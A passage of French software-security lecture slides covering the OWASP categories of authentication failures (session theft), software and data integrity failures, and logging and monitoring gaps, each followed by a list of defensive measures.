Jamila Oukharijane Sécurité logiciel 78
A7. Échecs d'identification et d'authentification
Vol de session
Solutions
1. Utiliser un moyen d’identification secondaire
2. Détruire les sessions
3. Ne pas soumettre les données par GET
4. Chiffrer les flux de transmission des identifiants
5. Redemander le mot de passe lors d’un changement de
niveau de privilège
Jamila Oukharijane Sécurité logiciel 79
A8. Manque d’intégrité des données et du logiciel
Cette faille concerne les mises à jour logiciel, les données
critiques et les pipelines CI/CD dont l’intégrité n’est pas vérifiée.
Exemple : les plug-ins, les bibliothèques ou les modules issus
de sources non vérifiables ou non fiables.
Les fonctions d’actualisation automatiques des applications
sans vérification d’intégrité font aussi partie de cette faille.
Jamila Oukharijane Sécurité logiciel 80
A8. Manque d’intégrité des données et du logiciel
Cette faille concerne les mises à jour logiciel, les données
critiques et les pipelines CI/CD dont l’intégrité n’est pas vérifiée.
Exemple : les plug-ins, les bibliothèques ou les modules issus
de sources non vérifiables ou non fiables.
Les fonctions d’actualisation automatiques des applications
sans vérification d’intégrité font aussi partie de cette faille.
Jamila Oukharijane Sécurité logiciel 81
A8. Manque d’intégrité des données et du logiciel
Solutions
Utilisez des signatures numériques
N’utilisez que des bibliothèques et dépendances de sources
fiables
Établissez un processus de révision des changements de code
et de configuration
Mettez en œuvre une distinction, configuration et contrôle des
accès fondamentaux du pipeline CI/CD
N’envoyez pas de données sérialisées non sécurisées ou non
chiffrées à des clients non fiables
Jamila Oukharijane Sécurité logiciel 82
A9. Carence des systèmes de contrôle et de journalisation
Pour garantir la sécurité d’une application, il est nécessaire de
surveiller et de monitorer les connexions.
De nombreux serveurs vulnérables servent de rebond aux
attaquants. La mise en place de monitoring permettra de
détecter une anomalie sur le serveur.
Jamila Oukharijane Sécurité logiciel 83
A9. Carence des systèmes de contrôle et de journalisation
Les failles les plus courantes :
Les connexions, échecs de connexion ou de transactions
sensibles ne sont pas journalisées ;
Les alertes ou les erreurs ne font l’objet que de journalisations
insuffisantes ou peu claires, s’ils en font l’objet tout court ;
Les protocoles d’API et d’application ne sont pas contrôlés pour
détecter des activités suspectes ;
Il n’y a pas de seuil ou un seuil inefficace d’alerte ni de
remontée d’information pour y répondre ;
Il n’est pas possible d’identifier une attaque en temps réel
Jamila Oukharijane Sécurité logiciel 84
A9. Carence des systèmes de contrôle et de journalisation
Solutions :
Mettez en œuvre un processus de contrôle et journalisez tout ce
qui concerne la connexion
Conservez les données de journalisation suffisamment
longtemps
Sauvegardez les données dans des formats supportés par les
gestionnaires de logs
Jamila Oukharijane Sécurité logiciel 85